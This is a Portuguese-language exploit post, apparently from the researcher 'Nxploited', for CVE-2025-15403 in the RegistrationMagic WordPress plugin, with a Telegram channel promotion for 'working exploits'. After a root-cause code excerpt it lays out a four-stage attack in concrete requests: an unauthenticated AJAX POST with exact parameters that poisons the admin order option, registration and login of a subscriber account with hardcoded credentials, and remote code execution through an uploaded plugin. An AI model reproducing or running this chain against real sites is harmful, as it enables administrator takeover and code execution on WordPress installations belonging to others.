
RegistrationMagic <= 6.0.7.1 - Escalação de Privilégios Não Autenticada via admin_order
RegistrationMagic <= 6.0.7.1 - Escalação de Privilégio Não Autenticada via admin_order
,-. . , ,--. ,-. ,-. ,-. ;--' , ;--' ,. ,-. ,--,
/ | / | ) / /\ ) | '| | / | / /\ /
| | / |- --- / | / | / `-. --- | `-. '--| | / | `.
\ |/ | / \/ / / ) | ) | \/ / )
`-' ' `--' '--' `-' '--' `-' ' `-' ' `-' `-'
📡 As informações chegam aqui primeiro. Siga @KNxploited no Telegram — divulgações precisas de CVEs, exploits funcionais e pesquisa aprofundada de vulnerabilidades. O canal para aqueles que não esperam as notícias — eles as criam.
CVE-2025-15403 é uma vulnerabilidade de Escalação de Privilégio Crítica com CVSS 9.8 no plugin RegistrationMagic para WordPress.
A falha existe na função add_menu do plugin, exposta sem autenticação por meio da ação AJAX rm_user_exists. Ao injetar um slug vazio no parâmetro order juntamente com a flag enable_admin_order=yes, um atacante manipula a lógica interna de geração de menu do plugin. Quando o menu administrativo é posteriormente construído, o plugin silenciosamente chama add_cap('manage_options') na função alvo — elevando qualquer conta de nível assinante para capacidade administrativa total.
| Campo | Detalhes |
|---|---|
| ID do CVE | CVE-2025-15403 |
| Plugin | RegistrationMagic |
| Slug | registrationmagic / custom-registration-form-builder-with-submission-manager |
| Versões Afetadas | Todas as versões até 6.0.7.1 inclusive |
| Tipo de Vulnerabilidade | Escalação de Privilégio Não Autenticada |
| Requisito de Ataque | Estágio AJAX: Nenhum. Exploração: Conta de assinante |
| Vetor de Ataque | Rede |
| Pontuação CVSS 3.1 | 9.8 CRÍTICO |
| Vetor CVSS | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| Impacto | Assunção Total do Administrador do WordPress |
| Pesquisador | Nxploited |
A causa raiz é a função add_menu ser alcançável sem autenticação por meio de rm_user_exists, combinada com a validação zero do slug admin_order:
// Registrada sem verificação de capacidade
add_action('wp_ajax_nopriv_rm_user_exists', [$this, 'rm_user_exists_handler']);
public function rm_user_exists_handler() {
$slug = sanitize_text_field($_POST['rm_slug']);
$order = $_POST['order']; // ← Controlado pelo usuário, NÃO sanitizado
$role_key = /* derivado do POST */;
$enable = $_POST['enable_admin_order'];
if ($slug === 'rm_options_admin_menu' && $enable === 'yes') {
// Armazena a ordem controlada pelo atacante nas opções do plugin
update_option('rm_admin_order', $order); // ex.: ",menu1" → primeiro slug vazio
}
}
// Posteriormente, quando o menu administrativo está sendo construído...
public function add_menu() {
$order = get_option('rm_admin_order'); // ← Envenenado pelo atacante
$slugs = explode(',', $order);
foreach ($slugs as $slug) {
if (empty($slug)) {
// Slug vazio aciona a concessão incondicional de capacidade
$role->add_cap('manage_options'); // ← CAPACIDADE TOTAL DE ADMIN ADICIONADA
}
}
}
Por que isso é crítico:
wp_ajax_nopriv_* = zero autenticação necessária para envenenar a opçãoorder=,menu1 passa na verificação empty(), acionando add_cap('manage_options')manage_options é a capacidade mais alta do WordPress — equivalente a Administrador╔══════════════════════════════════════════════════════════════════════════╗
║ ESTÁGIO 1 — Envenenamento de Opção Não Autenticado ║
╚══════════════════════════════════════════════════════════════════════════╝
POST /wp-admin/admin-ajax.php
action = rm_user_exists
rm_slug = rm_options_admin_menu
order = ,menu1 ← primeiro elemento vazio = slug vazio
_Subscriber = 1 ← chave da função alvo
restore = false
enable_admin_order= yes
Resposta: HTTP 200 (qualquer resposta não bloqueada = opção envenenada)
↓ O plugin armazena order=",menu1" em wp_options
↓ A próxima construção do menu administrativo aciona add_cap('manage_options') na função Assinante
╔══════════════════════════════════════════════════════════════════════════╗
║ ESTÁGIO 2 — Aquisição de Conta (Assinante) ║
╚══════════════════════════════════════════════════════════════════════════╝
Opção A — Registrar-se pelo formulário de registro do site (Modo 0):
GET /wp-login.php?action=register → detecção inteligente de formulário
POST → criar conta de assinante
Credenciais: NXploited / xplpass123
Opção B — Usar uma conta de assinante existente.
╔══════════════════════════════════════════════════════════════════════════╗
║ ESTÁGIO 3 — Login + Coleta de Capacidades ║
╚══════════════════════════════════════════════════════════════════════════╝
POST /wp-login.php
log = NXploited
pwd = xplpass123
↓
A conta de assinante agora carrega manage_options → painel de admin totalmente acessível
╔══════════════════════════════════════════════════════════════════════════╗
║ ESTÁGIO 4 — Verificação Aprofundada e RCE via Upload de Plugin ║
╚══════════════════════════════════════════════════════════════════════════╝
GET /wp-admin/ → Painel de admin acessível ✔️
GET /wp-admin/plugin-install.php → Página de instalação de plugins acessível ✔️
POST /wp-admin/update.php?action=upload-plugin
pluginzip = Nxploited.zip → Plugin enviado e executado ✔️
GET /wp-content/plugins/Nxploited/hello.php
Resposta contém "Nxploited" → RCE CONFIRMADO ✔️
Este conjunto de exploits fornece três modos distintos para cobrir todo o ciclo de vida do ataque: